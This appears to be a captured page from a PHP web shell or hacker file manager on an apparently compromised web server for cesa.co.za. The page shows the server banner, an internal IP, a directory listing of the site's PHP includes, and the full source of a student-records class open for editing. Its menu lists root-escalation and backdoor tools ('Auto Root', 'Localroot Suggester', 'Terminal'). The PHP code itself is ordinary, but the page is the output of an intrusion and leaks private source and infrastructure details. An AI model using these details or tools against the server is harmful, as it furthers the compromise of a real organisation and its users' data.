Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php require_once __DIR__ . '/BaseTableClass.php'; require_once __DIR__ . '/CCEStudentDisplayOrder.php'; /* * Contact otto@igotafrica.com for details */ /** * Manage the CCEStudents table * * @author otto */ class CCEStudents extends BaseTableClass { /** * SQL ORDER BY expression: KnownAs, else FirstName, then Surname. * * @param string $tableAlias * @return string */ public static function sqlOrderByDisplayName($tableAlias = 'CCEStudents') { return CCEStudentDisplayOrder::sqlOrderByDisplayName($tableAlias); } /** * @param string $direction Asc|Desc|ASC|DESC * @return string Includes leading " ORDER BY " */ public static function sqlOrderByLookup($direction = 'ASC') { return CCEStudentDisplayOrder::sqlOrderByLookupFragment($direction); } /** * @param array<int, array<string, mixed>> $rows */ public static function sortRowsByDisplayName(array &$rows) { CCEStudentDisplayOrder::sortRows($rows); } public function getECSACategorySelectArray() { $pickList = new Picklists($this->sqlf); return $pickList->getSelectArray('ECSA Registration Categories'); } public function getECSACategorySelectList($val) { return HTMLHelper::drawSelect( [ 'name' => 'ECSACategory', 'value' => $val, 'choices' => $this->getECSACategorySelectArray(), 'attr' => ['class' => 'select2-field'], ] ); } /** * Parse ModulesExcluded CSV into unique positive module IDs. * * @param string|null $csv * @return int[] */ public static function parseModulesExcludedCsv($csv) { $ids = array(); if ($csv === null || $csv === '') { return $ids; } foreach (explode(',', (string)$csv) as $part) { $id = intval(trim($part)); if ($id > 0) { $ids[$id] = $id; } } return array_values($ids); } /** * SQL fragment: exclude scores for students with this module in ModulesExcluded. * Safe when ModulesExcluded is NULL or empty. * * @param string $studentAlias Table alias for CCEStudents * @param string $moduleExpr SQL expression for CCEModuleID (e.g. CCEAssignments.CCEModuleID) * @return string */ public static function sqlClassAverageExclusionClause($studentAlias = 'CCEStudents', $moduleExpr = 'CCEAssignments.CCEModuleID') { $studentAlias = preg_replace('/[^A-Za-z0-9_]/', '', (string)$studentAlias); if ($studentAlias === '') { $studentAlias = 'CCEStudents'; } return " AND FIND_IN_SET(" . $moduleExpr . ", IFNULL(" . $studentAlias . ".ModulesExcluded, '')) = 0"; } /** * @param int $studentId * @return int[] */ public function getModulesExcluded($studentId) { $studentId = intval($studentId); if ($studentId <= 0) { return array(); } $row = null; if (is_object($this->sqlf)) { $row = $this->sqlf->getRow( 'SELECT ModulesExcluded FROM CCEStudents WHERE CCEStudentID=' . $studentId ); } if (!is_array($row)) { $row = self::fetchModulesExcludedRowViaMysqli($studentId); } if (!is_array($row)) { return array(); } return self::parseModulesExcludedCsv($this->rowColumn($row, 'ModulesExcluded')); } /** * Fallback read when ADODB/sqlf is unavailable or returns a failed result set. * * @param int $studentId * @return array<string, mixed>|null */ private static function fetchModulesExcludedRowViaMysqli($studentId) { global $conni; if (!isset($conni) || !$conni) { return null; } $sql = 'SELECT ModulesExcluded FROM CCEStudents WHERE CCEStudentID=' . intval($studentId); $rec = mysqli_query($conni, $sql); if (!$rec) { return null; } $row = mysqli_fetch_assoc($rec); mysqli_free_result($rec); return is_array($row) ? $row : null; } /** * @param int $studentId * @param int $moduleId * @return bool */ public function isExcludedFromModule($studentId, $moduleId) { $moduleId = intval($moduleId); if ($moduleId <= 0) { return false; } return in_array($moduleId, $this->getModulesExcluded($studentId), true); } /** * @param int $studentId * @param int[] $moduleIds * @return bool */ public function setModulesExcluded($studentId, array $moduleIds) { $studentId = intval($studentId); if ($studentId <= 0) { return false; } $clean = array(); foreach ($moduleIds as $id) { $id = intval($id); if ($id > 0) { $clean[$id] = $id; } } $csv = count($clean) ? implode(',', array_values($clean)) : ''; $record = array('ModulesExcluded' => $csv); return (bool)$this->sqlf->autoExecute( 'CCEStudents', $record, 'UPDATE', 'CCEStudentID=' . $studentId, 'CCEStudentID' ); } /** * Allowed "Where did you hear about the BCE MDP?" dropdown values. * * @return string[] */ public static function getBceMarketingSourceOptions() { return array( 'CESA.co.za', 'E-mail advertisement', 'Word of Mouth', 'Other', ); } /** * @param string $source * @param string $other * @return array{MarketingSource:string,MarketingSourceOther:string} */ public static function normalizeBceMarketingSource($source, $other = '') { $source = trim((string)$source); $other = trim((string)$other); $allowed = self::getBceMarketingSourceOptions(); if (!in_array($source, $allowed, true)) { return array( 'MarketingSource' => '', 'MarketingSourceOther' => '', ); } if ($source !== 'Other') { $other = ''; } return array( 'MarketingSource' => $source, 'MarketingSourceOther' => $other, ); } /** * @param string $source * @param string $other * @return string|null Error message or null if valid */ public static function validateBceMarketingSource($source, $other = '') { $normalized = self::normalizeBceMarketingSource($source, $other); if ($normalized['MarketingSource'] === '') { return 'Please tell us where you heard about the BCE MDP.'; } if ($normalized['MarketingSource'] === 'Other' && $normalized['MarketingSourceOther'] === '') { return 'Please specify where you heard about the BCE MDP.'; } return null; } /** * @param string $source * @param string $other * @return string */ public static function formatBceMarketingSourceForDisplay($source, $other = '') { $normalized = self::normalizeBceMarketingSource($source, $other); if ($normalized['MarketingSource'] === '') { return ''; } if ($normalized['MarketingSource'] === 'Other') { return 'Other: ' . $normalized['MarketingSourceOther']; } return $normalized['MarketingSource']; } } function studentListOptionsLoad(&$objThis) { // ini_set('display_errors', 1); // error_reporting(E_ALL); // Set all action items to display on left $objThis->ListOptions->Items["view"]->OnLeft = TRUE; // $objThis->ListOptions->Items["edit"]->OnLeft = TRUE; // $objThis->ListOptions->Items["copy"]->OnLeft = TRUE; // $objThis->ListOptions->Items["delete"]->OnLeft = TRUE; // Move all items to beginning of list $objThis->ListOptions->MoveItem("view", 0); // $objThis->ListOptions->MoveItem("edit", 1); // $objThis->ListOptions->MoveItem("copy", 2); // $objThis->ListOptions->MoveItem("delete", 3); // Add extras column (keep existing extras code) $objThis->ListOptions->Add("extras"); $objThis->ListOptions->Items["extras"]->CssStyle = "white-space: nowrap;"; }